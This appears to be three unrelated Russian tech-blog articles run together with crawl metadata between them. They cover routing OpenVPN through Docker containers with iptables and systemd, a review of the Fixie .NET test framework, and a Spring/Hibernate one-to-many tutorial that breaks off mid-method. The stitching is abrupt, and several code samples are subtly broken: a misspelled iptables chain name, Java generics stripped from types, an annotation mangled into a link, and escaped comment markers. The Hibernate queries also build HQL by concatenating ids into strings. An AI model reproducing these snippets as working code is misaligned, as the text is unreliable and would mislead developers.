### OpenVPN
Использовал популярные образы с Docker Hub. Для сервера (VPS) kylemanna/openvpn. Для клиента (домашний сервер, где установлен ioBroker) — ekristen/openvpn-client.
Настройка
---------
Вот здесь пришлось повозиться. В процессе хорошо прочувствовал сетевые аспекты докера, работа с iptables, узанл новое, в т.ч. netplan, с которым раньше дела не имел. Собственно поэтому и решил написать эту статью.
### Сервер VPS
С установкой OpenVPN и настройкой все стандартно, как на <https://hub.docker.com/r/kylemanna/openvpn> написано.
Что сделал дополнительно, так это поднял дополнительные loopback на VPS и домашнем сервере.
*/etc/netplan/01-netcfg.yaml*
```
# This file describes the network interfaces available on your system
# For more information, see netplan(5).
network:
version: 2
renderer: networkd
**ethernets:
lo:
renderer: networkd
match:
name: lo
addresses:
- 192.168.16.1/32**
```
Жирным выделил «добавку». Пробелы, похоже, не отображаются, хотя они очень важны.
Адреса в примерах буду использовать 192.168.6.0 для домашней сети и 192.168.16.0 для loopback. Постараюсь нигде не ошибиться.
В *openvpn.conf* добавил
```
server 192.168.16.192 255.255.255.192
push "dhcp-option DNS 192.168.16.6"
push "route 192.168.16.0 255.255.255.128"
client-to-client
client-config-dir /etc/openvpn/ccd/
```
Специально сделал loopback из 192.168.16.0/25, а выдаю адреса клиентам из 192.168.16.128/25, чтобы впоследствии ращзрешающие правила в iptables настраивать одной сеткой 192.168.16.0/24
Итак, у VPS loopback 192.168.16.1, на нем же mqtt.
У домашнего сервера 192.168.16.6. Там же iobroker, он же dns для домашних клентов и переопределяет ряд доменных имен для подключающихся из домашней сети или через VPN.
Была мысль везде прописать его «реальный» IP из сети. Типа в ccd/iobroker указать
iroute 192.168.6.6 255.255.255.255
Но, видимо от того, что это адрес из сети на WiFi интерфейсе домашнего ноутбука, да еще является во многих случаях шлюзом по умолчанию, были глюки. В том числе со смартфоном. А мне хотелось, чтобы из домашней сети работало как с активным клиентом, так и без него. И не приходилось судорожно отключать клиента, придя домой, чтобы получить доступ к другим ресурсам.
Поэтому настроил, чтобы этот сервер и его контейнеры всегда взаимодействовали с loopback, независимо от того, активен ли VPN. И к этому же адресу шло обращение.
Так что в *ccd/iobroker*
```
iroute 192.168.16.6 255.255.255.255
```
Хорошо, все VPN клиенты знают, что сеть 192.168.16.0/24 доступна через VPN. Если они шлют пакеты на 192.168.16.1 (loopback VPS), пакет шифруется, попадает в контейнер openvpn, расшифровывается, по маршруту по умолчанию идет на 172.17.0.1 (default gateway в контейнерах по умолчанию), попадает на хост, все хорошо.
Но как мне с VPS хоста «пингануть» VPN клиента или обратиться к домашнему серверу с адресом 192.168.16.6 (а не его временному IP на VPN туннеле, который находится внутри контейнера OpenVPN)?
Очевидно, что сетку 192.168.16.0 надо направить в контейнер OpenVPN. Я, конечно, могу посмотреть, что он 172.17.0.3. Но в один прекрасный день может и поменяться.
Был бы OpenVPN развернут прямо на сервере, а не в контейнере, все заработало бы само. А тут пришлось делать хитро. Создаю скрипт, который отрабатывается самым последним в system, и в него помещаю:
```
ipaddr=$(docker inspect -f '{{.NetworkSettings.IPAddress}}' vpn-client)
route add -net 192.168.16.0/24 gw $ipaddr
```
Т.е. через docker inspect узнаю IP адрес запущенного контейнера, а потом на него маршрутизирую сетку обычным порядком.
В отличие от привычного rc.local пришлось погуглить, а как же, собственно, сделать скрипт, запускающийся последним. Приведу краткую инструкцию:
Создать файл */etc/systemd/system/custom.target*:
```
[Unit]
Description=My Custom Target
Requires=multi-user.target
After=multi-user.target
AllowIsolate=yes
```
Создать файл */etc/systemd/system/last\_command.service*
```
[Unit]
Description=My custom command
After=multi-user.target
[Service]
Type=simple
ExecStart=/usr/local/bin/my_last_command.sh
[Install]
WantedBy=custom.target
```
Создать директорию */etc/systemd/system/custom.target.wants*
```
ln -s /etc/systemd/system/last_command.service \ /etc/systemd/system/custom.target.wants/last_command.service
systemctl daemon-reload
systemctl set-default custom.target
```
При желании запустить сразу, не дожидаясь перезагрузки: systemctl isolate custom.target
Вот теперь после перезагрузки последним будет запускаться файл */usr/local/bin/my\_last\_command.sh*, описанный в ExecStart.
#### Iptables
На mqtt сервере у меня поднято 2 порта: 8883 с TLS и аутентификацией, доступен из Интернета для удаленных датчиков. Да и сам могу каким-нибудь MQTT Explorer подключиться и проверить, что и как.
1883 уже без TLS, требует только имя и пароль. Нужен для домашнего Sonoff rfBridge, который TLS не умеет.
Это не страшно, поскольку из дома трафик пойдет на сервер с iobroker, который является шлюзом по умолчанию для 192.168.16.0, он перешлет пакет в контейнер с OpenVPN и т.п. Однако необходимо разрешить доступ к порту 1883 только «изнутри». Т.е. iptables.
Стандартный подход – запретить доступ к этому порту отовсюду, потом выполнить правило, разрешающее доступ из внутренних сетей.
```
iptables -I INPUT -p tcp -m tcp --dport 1883 -j DROP
iptables -I INPUT -s 172.17.0.0/24 -p tcp -m tcp --dport 1883 -j ACCEPT
```
Сетка здесь указана 172.17.0.0, поскольку из OpenVPN «к соседям» я в итоге хожу как hide NAT (что контейнер iobroker что rfBridge из WiFi сети), а не с оригинальных.
И так работает. Но есть нюанс. У меня порт 1883 проброшен в контейнер mqtt. И, как оказалось, iptables сначала отрабатывает цепочку DOCKER-USER.
Т.е при таком правиле доступ к порту 1883 разрешался \_до\_ блокирующего правила. И из Интернета к нему тоже можно было спокойно подключиться.
Блокирующее правило надо создавать в цепочке DOCKER-USER!
```
iptables -I DOCKR-USER -p tcp -m tcp --dport 1883 -j DROP
iptables -I INPUT -s 172.17.0.0/24 -p tcp -m tcp --dport 1883 -j ACCEPT
```
А вот нижнее, разрешающее доступ из внутренних сетей, почему-то требует INPUT.
### Домашний сервер
Основная часть такая же. Однако он хоть и клиент, но должен был маршрутизировать трафик из WiFi сети (rfBridge) в mqtt на VPS. Т.е. движение трафика:
rfBridge (192.168.6.8) -> iobroker host (192.168.6.6) -> контейнер vpn-client (172.17.0.?) -> контейнер opevpn на VPS -> loopback VPS (192.168.16.1) -> контейнер mqtt (порт 1883)
Разрешаем «форвардить» пакеты для сетки с клиентами и лупбэками:
```
iptables -A FORWARD -d 192.168.16.0/24 -j ACCEPT
```
и переходим к контейнерной специфике.
#### Задача 1
Как вы помните, взаимодействие между подсистемами у меня настроено через loopback. Т.е. нужно, чтобы пакеты на 192.168.16.6 из vpn-clientушли на хост (172.17.0.1), а не в VPN туннель.
Если в запущенном контейнере выполнить такую команду, все заработает. После перезагрузки это забудется, но в конфигурационном файле iobroker.ovpn можно указать
`route 192.168.16.6 255.255.255.255 172.17.0.1`.
И openvpn этот маршурт будет устанавливать при старте контейнера. Это решено легко стандартным способом.
#### Задача 2
Пакеты из домашней сети 192.168.6.0 (например, от rfBridge) попадают на хость iobroker и форвадятся в контейнер vpn-client.
Однако сеть 192.168.6.0 я умышленно не включаю в домен шифрования, контейнер OpenVPN на VPS не знает, что с этой сеткой делать. Очевидное решение – сделать NAT внутри vpn-client, чтобы пакет на VPS пришел с его адреса. Но есть нюанс. Как сохранить требуемые команды iptables после рестарта контейнера? Iptables-persistent туда так просто не поставишь.
Можно, конечно, собрать новый контейнер с добавками. Но не хочется, ибо усложнится процедура апгрейда. Вместо «убил и запустил latest, а конфигурацию он подтянул из подмонтированной папки» нужно будет запускать сборку… Не для того я с контейнерами связываюсь.
Поэтому решил «после старта контейнера принудительно выполнять в нем команды, указывающие iptables делать NAT». Для этого воспользовался командой
`docker events --filter "container=vpn-client" --filter "event=start"`.
Она висит и ждет события, заданного в фильтрах. В моем случае старта контейнера. После чего через docker exec выполняю в нем с хоста требуемые команды.
Для этого по аналогии с VPS настраиваю */usr/local/bin/my\_last\_command.sh*
```
#!/bin/bash
cont="vpn-client"
ipaddr=$(docker inspect -f '{{.NetworkSettings.IPAddress}}' $cont)
route add -net 192.168.16.0/24 gw $ipaddr
for (( ; ; ))
do
docker events --filter "container=$cont" --filter "event=start"
docker exec -it $cont iptables -t nat -I POSTROUTING -s 192.168.16.0/255.255.255.0 -j MASQUERADE
docker exec -it $cont iptables -t nat -I POSTROUTING -s 192.168.6.0/255.255.255.0 -j MASQUERADE
done
```
Есть примеры, в которых вывод docker events передается на вход awk, который выполняет команды. Но мне показалось проще «повисеть» до наступления события, выполнить команды, и опять ждать события.
Заключение
----------
Честно говоря, мне не хотелось писать этот пост. Интересный опыт приобрел, но «не красиво» получилось, слишком сложно, я так не люлю. Так что я опять все переделал, отказался от VPS вообще. Но раз уж обещал вторую часть … Кроме того, меня впечатлил подход с docker events, захотелось им поделиться. Думаю, он еще пригодится.
В итоге я решил так.
Коль скоро мне не удалось опубликовать vis через reverse proxy, а mqtt я запросто могу взять «извне» как сервис, VPS для этой задачи мне и не нужен. Выкладывать прошивки для обновления по OTA я могу и на хостинг, благо тоже есть.
Поэтому.
Mqtt взял на wqtt.ru. TLS есть (пароли шлются в защищенном виде). Скорость прекрасная (10ms против 80ms у mymqtthub). Топики переписывать на '$device/<безумный ID>/events' (как у Яндекса) не требуется. Т.е. в случае чего перескочить куда-то можно элементарно. Цена копеечная (300 руб в год).
Firmware для OTA выкладываю на имеющийся на хостинг.
Доступ к vis – все-таки через Zerotier. Уж очень просто и удобно. А если их и сломают, так вряд ли ради посмотреть уровень CO2 у меня дома. И даже если такое произойдет, это скорее станет известным, чем если ломанут меня лично.
Все красиво, работает без сбоев, изменения при необходимости внести легко, лишних серверов, за которыми нужен уход, не появилось, я доволен. | https://habr.com/ru/post/505412/ | null | ru | null |
# Fixie – тестирование по соглашению
Некоторое время назад попался мне твит о том, что знакомый стал использовать новый тестовый опенсорсный фреймворк **Fixie** и очень этим доволен. Так, что даже решил исправить все тесты в своем проекте на новый движок. После такого, я просто не мог оставаться в стороне и даже не взглянуть, что это за зверь такой и чем он так радует окружающих.
Далее я хочу представить вам обзор фреймворка, его возможности, и понять, действительно ли это новое слово в тестировании, стоит к этому присмотреться или же можно пройти мимо и забыть.
Как сказано на самом [сайте](http://fixie.github.io/), Fixie – Conventional Testing for .NET. Т.е. тестирование по соглашению. Под соглашениями здесь понимается то, к чему мы в целом привыкли – все операции выполняются на основе «устного» договора, джентельменского соглашения об именовании. Ближайший пример – scaffolding. Это когда мы договорились, например, что тестовые классы содержат слово Test, или что тестовые классы должны быть публичными и ничего не возвращать. Тогда такие классы будут распознаны как тестовые. И больше никаких атрибутов и всего такого прочего. Просто классы и методы.
На первый взгляд всё это выглядит хорошо и даже радует. Получается, что необходимо только правильно называть методы и классы и будет счастье. Заодно можно натренировать команду называть классы тестовые как надо, а не произвольным сочетанием слов, как-то относящихся к теме тестируемого класса.
Установка и первый тест
-----------------------
По умолчанию, Fixie настроен так, что тестовыми классами является всё, что оканчивается на **Tests**. Тестовыми методами – всё что внутри этих классов и не возвращает значения. Т.е. теоретически и, на самом деле практически, вот такой код уже будет распознаваться как тест:
```
public class SuperHeroTests {
public void NameShouldBeFilled() {
var superHero = new SuperHero();
superHero.Name
.Should()
.NotBeEmpty();
}
}
```
Прежде чем двигаться дальше, стоит сказать пару слов об установке, и что необходимо для работы Fixie.
[](https://habrastorage.org/getpro/habr/post_images/d45/2da/daf/d452dadafe667e7c216db4946283f327.png)
Команда nuget для установки самого фреймворка. Но на этом всё не заканчивается. **Фреймворк не предоставляет встроенного способа для написания проверок данных в тесте.** Для их использования вам необходимо воспользоваться одним из сторонних решений:
* FluentAssertions
* Should
* Shouldly
* Что-то другое из этой темы
Это всё так же устанавливается с помощью NuGet. В примере выше использован пакет FluentAssertion, так как он лично мне больше нравится и большой разницы по сравнению с другими вариантами по сути нет.
На этом собственно всё, и можно счастливо и весело писать код. Если вы только начали свой путь в разработке и тестировании в частности. Если вы опытный человек, то возникает много вопросов, как эта штука настраивается и насколько удобно гонять тесты.
Интеграция
----------
Кстати о запуске тестов. Автор честно признается, что ему надо было запускать тесты из консоли и поэтому он сделал интеграцию со студией в последнюю очередь. Есть плагин для ReSharper, но он для версий от 8.1 до 8.3, т.е. с новой версией вы пролетарий. Ради тестов мне не хотелось откатываться на 8ю версию, поэтому не могу сказать насколько это комфортно.
Интеграция со студией выполняется на уровне обнаружения тестов и запуска их. Т.е. никакой подсветки в редакторе не будет. Имеются ввиду спец.значки тестов.
[](https://habrastorage.org/getpro/habr/post_images/bc2/6b3/e36/bc26b3e3662c3f5633825a0f81c184e2.png)
Здесь, на мой взгляд, кроется **потенциальное место ошибки**. Очепятки. Не так-то сложно опечататься в слове “Tests”, что приведет к пропуску тестов. Визуально они никак не выделяются. Справедливости ради надо сказать, что такая ситуация редка и маловероятна, если вы будете использовать правильные средства студии и запускать не скопом все тесты, а, например, только те, что раньше не запускались.
[](https://habrastorage.org/getpro/habr/post_images/343/cfa/2c8/343cfa2c8e138c987fd91887434b76f1.png)
В целом, можно пока что сослаться на молодость фреймворка и относительную неизвестность и, как следствие, отсутствие многих инструментов.
Чтобы два раза не возвращаться к теме обнаружения тестов и генерирования результатов документация нам сообщает, что Fixie может генерировать отчеты в стиле NUnit и xUnit, что значительно облегчит жизнь тем, у кого нормально построен CI.
Тюнинг
------
Основная сила фреймворка в возможности гибкой настройки того, как ваши тесты будут идентифицироваться, как запускаться и как валидироваться и так далее. По умолчанию ничего с фреймворком не идет. Однако в [репозитории](https://github.com/fixie/fixie) находится много [разнообразных примеров](https://github.com/fixie/fixie/tree/master/src/Fixie.Samples).
Чтобы все стало интереснее давайте немного покопаемся в том, как настроить фреймворк под свои нужды. Например, как сказать, какие еще классы должны идентифицироваться как тестовые.
Все настройки происходят в конструкторе класса, наследованного от **Convention.**
```
public class CustomConvention : Convention {
public CustomConvention () {
}
}
```
По умолчанию, настройки выглядят примерно следующим образом:
```
public class DefaultConvention : Convention {
public DefaultConvention () {
Classes
.NameEndsWith("Tests");
Methods
.Where(method => method.IsVoid());
}
}
```
Код говорит о том, что тестовые классы должны заканчиваться на Tests и тестовым методом будет все что возвращает null. В целом годно.
Я стараюсь придерживаться принципа, когда тестовый класс начинается со слова **When,** а тесты со слов **Then**. Получается достаточно стройная картина в тестраннере и при написании тестов ты уже знаешь, что ты тестируешь, т.е. надо только подумать об эффектах для теста. Дополнительным бонусом является то, что тестовые классы получаются короткими и ответственность между тестами не смешивается.
Естественно, что любое правило лишь указывает на направление, а не является догмой. «A Foolish Consistency is the Hobgoblin of Little Minds» – поэтому всегда надо руководствоваться здравым смыслом.
[](https://habrastorage.org/getpro/habr/post_images/d36/75b/92a/d3675b92a8600ccc040b12c37bb31940.png)
Глядя на свой список тестов, я вижу, что не все классы заканчиваются на слово **Tests** или начинаются с **When**.
Строгой структуры именования нет и в тестах, в том смысле, что тесты должны начинаться со слова Should, например. Но на мой взгляд читая тесты прекрасно понимаешь, что там происходит. Это я говорю на основе опыта. Этот проект телится уже года 3-4 с переменным успехом и каждый раз я быстро и успешно вспоминаю что сделано, а что надо сделать. Это просто некоторая отдушина, когда бумажной работы становится слишком много.
В таком режиме именования, мне страшновато (да и лень) указывать ключевые слова по которым будут определены тестовые классы. Кроме того, подход When… Then… на практике означает, что есть настроечный метод, который запускается в начале каждого теста и в самом тесте либо проверяются результаты, либо как-то влияем на созданный объект. Т.е. надо явно будет пометить, или указать настроечный метод (SetUp).
Для реализации я могу явно вызывать настроечный метод в каждом тесте. Например, вот так:
```
public class SuperHeroTests {
public void NameShouldBeFilled() {
SetUpEnvironment();
var superHero = new SuperHero();
superHero.Name
.Should()
.NotBeEmpty();
}
}
```
Конечно, в реальной жизни, надо писать что-то информативнее чем SetUpEnvironment(), но идея понятна. При такой реализации будут переменные класса, которые будут сохранять свои значения между тестами – что легко может привести к зависимым тестам, если я забуду в каком-нибудь тесте прописать строку инициализации.
Fixie предлагает решение для этой ситуции. Вот оно:
```
public class DefaultConvention : Convention {
public DefaultConvention () {
Classes
.NameEndsWith("Tests");
Methods
.Where(method => method.IsVoid());
CaseExecution
.Wrap();
}
}
public class HeroUniverseSetup : CaseBehavior {
public void Execute(Case context, Action next) {
// реализация
}
}
```
Т.е. необходимо реализовать наследника **CaseBehavior** и там прописать все, что надо. Документация говорит, что реализация
* CaseBehavior = [SetUp] / [TearDown]
* FixtureExecution = [FixtureSetUp] / [FixtureTearDown]
Хорошо, но даже если так, то в таком подходе я вижу, что мне надо создавать многие варианты «DefaultConvention» и прописывать логику инициализации вдали от теста, при этом при запуске вы не будете даже знать, что такой контекст существует.
Нетрудно это продемонстрировать. Пусть DefaultConvention будет как в примере выше, тогда при запуске класса
```
public class SuperHeroTests {
public void NameShouldBeFilled() {
var superHero = new SuperHero();
superHero.Name
.Should()
.NotBeEmpty();
}
}
```
Ничто не говорит мне, что есть SetUp/TearDown.
МАГИЯ!!! Вообще это интересно, но в данном случае нет. Я бы не хотел себе такую магию на проекте. Это совершенно противоречит тому, что тесты должны быть прозрачными. Даже если я в том же классе напишу расширение для **CaseBehavior –** это не решение, так как будет не очень очевидно где мне искать класс, в котором это все будет настроено. Заниматься постоянной копи-пастой тоже не выход.
Сравним:
```
public class DefaultConvention : Convention {
public DefaultConvention () {
Classes
.InTheSameNamespaceAs(typeof(DefaultConvention))
.NameEndsWith("Tests");
Methods
.Where(method => method.IsVoid());
CaseExecution
.Wrap();
}
}
public class HeroUniverseSetup : CaseBehavior {
public void Execute(Case context, Action next) {
// реализация
}
}
public class SuperHeroTests {
public void NameShouldBeFilled() {
var superHero = new SuperHero();
superHero.Name
.Should()
.NotBeEmpty();
}
}
```
Против:
```
[TestFixture]
public class SuperHeroTests {
[SetUp]
public void Init() {
// реализация
}
[Test]
public void NameShouldBeFilled() {
var superHero = new SuperHero();
superHero.Name
.Should()
.NotBeEmpty();
}
}
```
Строчек кода как-то будет поменьше в случае с NUnit, да и SetUp из класса не потеряется в проекте.
Может быть я предвзят и неправильно пишу тесты, но… что-то я не уверен в этом. Еще не встречал кучи статей о том, что SetUp это зло. Т.е. все можно до абсурда довести и делать инициализацию в SetUp половины проекта, но это другой разговор.
Однако и на этот случай есть решение. Можно использовать самописные атрибуты для определения нужных частей теста, тестов и классов. Т.е. [можно полностью](http://fixie.github.io/docs/custom-conventions/) эмулировать NUnit, xUnit в вашем проекте.
С помощью аттрибутов можно сделать
* поддержку категорий
* параметризованные тесты
* тесты, выполняющиеся в строгой очередности
* все что придет в голову
Приведу здесь небольшой пример создания категорий и запуск их.
```
public class CustomConvention : Convention
{
public CustomConvention()
{
var desiredCategories = Options["include"].ToArray();
var shouldRunAll = !desiredCategories.Any();
Classes
.InTheSameNamespaceAs(typeof(CustomConvention))
.NameEndsWith("Tests");
Methods
.Where(method => method.IsVoid())
.Where(method => shouldRunAll || MethodHasAnyDesiredCategory(method, desiredCategories));
if (!shouldRunAll)
{
Console.WriteLine("Categories: " + string.Join(", ", desiredCategories));
Console.WriteLine();
}
}
static bool MethodHasAnyDesiredCategory(MethodInfo method, string[] desiredCategories)
{
return Categories(method).Any(testCategory => desiredCategories.Contains(testCategory.Name));
}
static CategoryAttribute[] Categories(MethodInfo method)
{
return method.GetCustomAttributes(true).ToArray();
}
}
```
И запуск тестов в зависимости от категории:
**Fixie.Console.exe path/to/your/test/project.dll --include CategoryA**
Моё решение
-----------
Можно много чего еще сказать про Fixie, приводить примеры решения тех или иных задач, но первое впечатление уже есть. Поэтому стоит закругляться.
Получается, что Fixie это метафреймворк для тестирования. Вы вольны построить какие угодно правила и возможности для тестирования, при этом строятся они достаточно просто, если честно. Вопрос только в целесообразности. А надо ли это всё делать? Немного отпугивает, конечно, отсутствие поддержи R#, и того, что я не вижу что тест – реально тест, и он оказался распознан фреймворком. В продакшене я бы не стал использовать, но для домашнего использования и как перспективное средство – **Fixie очень интересен**. По крайней мере, я точно вспомню его, если будет какая-то интересная и специфичная задача тестирования, которая будет трудно решаться стандартными средствами NUnit. | https://habr.com/ru/post/263057/ | null | ru | null |
# Spring — Hibernate: ассоциация один ко многим
Продолжаем цикл статей — переводов по Spring и Hibernate, от [krams](http://krams915.blogspot.ru/2011/03/spring-hibernate-one-to-many.html).
Предыдущая статья:
[«Spring MVC 3, Аннотации Hibernate, MySQL. Туториал по интеграции»](http://habrahabr.ru/post/248541/).
Введение.
В этом уроке мы познакомимся с использованием отношения один ко многим, используя аннотации Hibernate и Spring MVC 3. Мы будем использовать аннотоцию @OneToMany для указания отношений между нашими объектами. Мы не будем использовать каскадные типы или fetch-стратегии, вместо этого мы воспользуемся стандартными настройками @OneToMany.
Что такое ассоциация один-ко-многим?
Ассоциация один-ко-многим возникает тогда, когда каждой записи в таблице А, соответствует множество записей в таблице Б, но каждая запись в таблице Б имеет лишь одну соответствующую запись в таблице А.
Спецификация нашего приложения.
Приложение является простой CRUD системой управления списком записей. Каждая запись соответствует одному лицу, она содержит персональные данные и данные о кредитной карте. Каждое лицо может владеть несколькими кредитками. Так же мы добавим систему редактирования лиц и кредиток.
Ниже приведены скриншоты из будущего приложения:
**Доменные объекты**
Основываясь на спецификации, мы имеем два доменных объекта: персона (Person) и кредитка (Credit Card).
У объекта персоны должны быть следующие поля:
— id
— first name (имя)
— last name (фамилия)
— money (деньги)
— credit cards (кредитки)
У объекта кредитка поля следующие:
— id
— type (тип)
— number (номер)
Обратите внимание, что каждой персоне соответствует множество кредитных карт, а следственно мы используем ассоциацию один-ко-многим. Конечно мы можем посмотреть на эту ситуацию и с другой стороны и использовать ассоциацию многие-к-одному, но это будет темой другого урока.
**Разработка**
Мы разобьем нашу разработку на три слоя: доменный, сервисный и контроллер, затем укажем конфигурационные файлы.
*Начнем с доменного слоя.*
Как говорилось ранее, у нас есть два доменных объекта: Person и CreditCard. Следовательно мы объявим два POJO объекта, представляющих наш доменный слой. У каждого из них будет аннотация [Entity](http://habrahabr.ru/users/entity/) для хранения в базе данных.
**Person.java**
```
package org.krams.tutorial.domain;
import java.io.Serializable;
import java.util.Set;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.OneToMany;
import javax.persistence.Table;
/**
* Represents a person entity
*
* @author Krams at {@link http://krams915@blogspot.com}
*/
@Entity
@Table(name = "PERSON")
public class Person implements Serializable {
private static final long serialVersionUID = -5527566248002296042L;
@Id
@Column(name = "ID")
@GeneratedValue
private Integer id;
@Column(name = "FIRST_NAME")
private String firstName;
@Column(name = "LAST_NAME")
private String lastName;
@Column(name = "MONEY")
private Double money;
@OneToMany
private Set creditCards;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public Double getMoney() {
return money;
}
public void setMoney(Double money) {
this.money = money;
}
public Set getCreditCards() {
return creditCards;
}
public void setCreditCards(Set creditCards) {
this.creditCards = creditCards;
}
}
```
Класс Person отображен в таблице PERSON. И выглядит следующим образом:
Обратите внимание на аннотацию @OneToMany для переменной creditCards, мы не указали ни каскадный тип, ни fetch-стратегию, полагаясь на настройки по умолчанию. Позже мы узнаем некоторые проблемы, связанные с этим.
**Person.java**
```
@Entity
@Table(name = "PERSON")
public class Person implements Serializable {
...
@OneToMany
private Set creditCards;
...
}
```
**CreditCard.java**
```
package org.krams.tutorial.domain;
import java.io.Serializable;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.Table;
/**
* Represents a credit card entity
*
* @author Krams at {@link http://krams915@blogspot.com}
*/
@Entity
@Table(name = "CREDIT_CARD")
public class CreditCard implements Serializable {
private static final long serialVersionUID = 5924361831551833717L;
@Id
@Column(name = "ID")
@GeneratedValue
private Integer id;
@Column(name = "TYPE")
private String type;
@Column(name = "NUMBER")
private String number;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getNumber() {
return number;
}
public void setNumber(String number) {
this.number = number;
}
}
```
Класс CreditCard отображен в таблице CREDIT\_CARD и выглядит:
Используя phpmyadmin db designer посмотрим на отношения между Person и CreditCard:
Взглянем на сгенерированные таблицы:
Мы указывали только две сущности: CreditCard и Person, и ожидали увидеть только две таблицы в базе данных. Так почему же их три? Так как в настройке по умолчанию создается третья связующая таблица.
Цитата из Hibernate Annotations Reference Guide:
Без описания отображения, для соотношения один-ко-многим используется связующая таблица. Именем таблицы является конкатенация имени первой таблицы, символа «\_» и имени второй таблицы. Для обеспечения соотношения один ко многим колонке с id первой таблицы присваивается модификатор UNIQUE.
Позже мы обсудим другие недостатки установок по умолчанию.
*Сервисный слой.*
После объявления доменных объектов, нам необходимо создать сервисный слой, который содержит два сервиса: PersonService и CreditCardService.
PersonService отвечает за обработку CRUD операций над сущностью Person. Каждый метод в конечном итоге передает объект Hibernate сессии.
**PersonService.java**
```
package org.krams.tutorial.service;
import java.util.List;
import java.util.Set;
import javax.annotation.Resource;
import org.apache.log4j.Logger;
import org.hibernate.Query;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.krams.tutorial.domain.CreditCard;
import org.krams.tutorial.domain.Person;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
/**
* Service for processing Persons
*
* @author Krams at {@link http://krams915@blogspot.com
*/
@Service("personService")
@Transactional
public class PersonService {
protected static Logger logger = Logger.getLogger("service");
@Resource(name="sessionFactory")
private SessionFactory sessionFactory;
/**
* Retrieves all persons
*
* @return a list of persons
*/
public List getAll() {
logger.debug("Retrieving all persons");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Create a Hibernate query (HQL)
Query query = session.createQuery("FROM Person");
// Retrieve all
return query.list();
}
/\*\*
\* Retrieves a single person
\*/
public Person get( Integer id ) {
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Retrieve existing person
// Create a Hibernate query (HQL)
Query query = session.createQuery("FROM Person as p LEFT JOIN FETCH p.creditCards WHERE p.id="+id);
return (Person) query.uniqueResult();
}
/\*\*
\* Adds a new person
\*/
public void add(Person person) {
logger.debug("Adding new person");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Persists to db
session.save(person);
}
/\*\*
\* Deletes an existing person
\* @param id the id of the existing person
\*/
public void delete(Integer id) {
logger.debug("Deleting existing person");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Create a Hibernate query (HQL)
Query query = session.createQuery("FROM Person as p LEFT JOIN FETCH p.creditCards WHERE p.id="+id);
// Retrieve record
Person person = (Person) query.uniqueResult();
Set creditCards =person.getCreditCards();
// Delete person
session.delete(person);
// Delete associated credit cards
for (CreditCard creditCard: creditCards) {
session.delete(creditCard);
}
}
/\*\*
\* Edits an existing person
\*/
public void edit(Person person) {
logger.debug("Editing existing person");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Retrieve existing person via id
Person existingPerson = (Person) session.get(Person.class, person.getId());
// Assign updated values to this person
existingPerson.setFirstName(person.getFirstName());
existingPerson.setLastName(person.getLastName());
existingPerson.setMoney(person.getMoney());
// Save updates
session.save(existingPerson);
}
}
```
PersonService обманчиво выглядит простым, он решает две основные проблемы, которые заслуживают особого внимания:
Проблема 1. Fetch стратегии
Получение записи лица не подгружает связанные с ним записи кредиток.
Следующий запрос получает персону по id.
*Query query = session.createQuery(«FROM Person WHERE p.id=»+id);*
Проблема происходит потому, что мы не указали fetch-стратегию когда описывали аннотацию @OneToMany, для того, что бы это исправить — изменим запрос:
*Query query = session.createQuery(«FROM Person as p LEFT JOIN FETCH p.creditCards WHERE p.id=»+id);*
Проблема 2. Каскадные типы.
Удаление персоны не приводит к удалению соответствуещих ему кредитных карт.
Следующая запись удаляет запись о лице:
*session.delete(person);*
Проблема возникает потому, что мы не указали каскадные типы в аннотации @OneToMany. Это значит, что мы должны реализовать свою стратегию удаления записей о кредитках.
Вначале необходимо создать запрос для получения кредитных карт, которые мы размещаем на временное хранение в коллекцию. Затем мы удаляем запись о персоне. После всего извлекая из коллекции, мы удаляем кретки одну за другой.
**Исправленный запрос**
```
// Create a Hibernate query (HQL)
Query query = session.createQuery("FROM Person as p LEFT JOIN FETCH p.creditCards WHERE p.id="+id);
// Retrieve record
Person person = (Person) query.uniqueResult();
Set creditCards =person.getCreditCards();
// Delete person
session.delete(person);
// Delete associated credit cards
for (CreditCard creditCard: creditCards) {
session.delete(creditCard);
}
```
CreditCardService
CreditCardService отвечает за обработку CRUD операций над сущностью CreditCard. Каждый метод в конечном итоге передает объект Hibernate сессии.
**CreditCardService.java**
```
package org.krams.tutorial.service;
import java.util.ArrayList;
import java.util.List;
import javax.annotation.Resource;
import org.apache.log4j.Logger;
import org.hibernate.Query;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.krams.tutorial.domain.CreditCard;
import org.krams.tutorial.domain.Person;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
/**
* Service for processing Credit Cards
*
* @author Krams at {@link http://krams915@blogspot.com
*/
@Service("creditCardService")
@Transactional
public class CreditCardService {
protected static Logger logger = Logger.getLogger("service");
@Resource(name="sessionFactory")
private SessionFactory sessionFactory;
/**
* Retrieves all credit cards
*/
public List getAll(Integer personId) {
logger.debug("Retrieving all credit cards");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Create a Hibernate query (HQL)
Query query = session.createQuery("FROM Person as p LEFT JOIN FETCH p.creditCards WHERE p.id="+personId);
Person person = (Person) query.uniqueResult();
// Retrieve all
return new ArrayList(person.getCreditCards());
}
/\*\*
\* Retrieves all credit cards
\*/
public List getAll() {
logger.debug("Retrieving all credit cards");
// Retrieve session from Hibernate
Session session = sessionFactory.getCurrentSession();
// Create a Hibernate query (HQL)
Query query = session.createQuery("FROM CreditCard");
// Retrieve all
return query.list();
}
/\*\*
\* Retrieves a single credit card
\*/
public CreditCard get( Integer id ) {
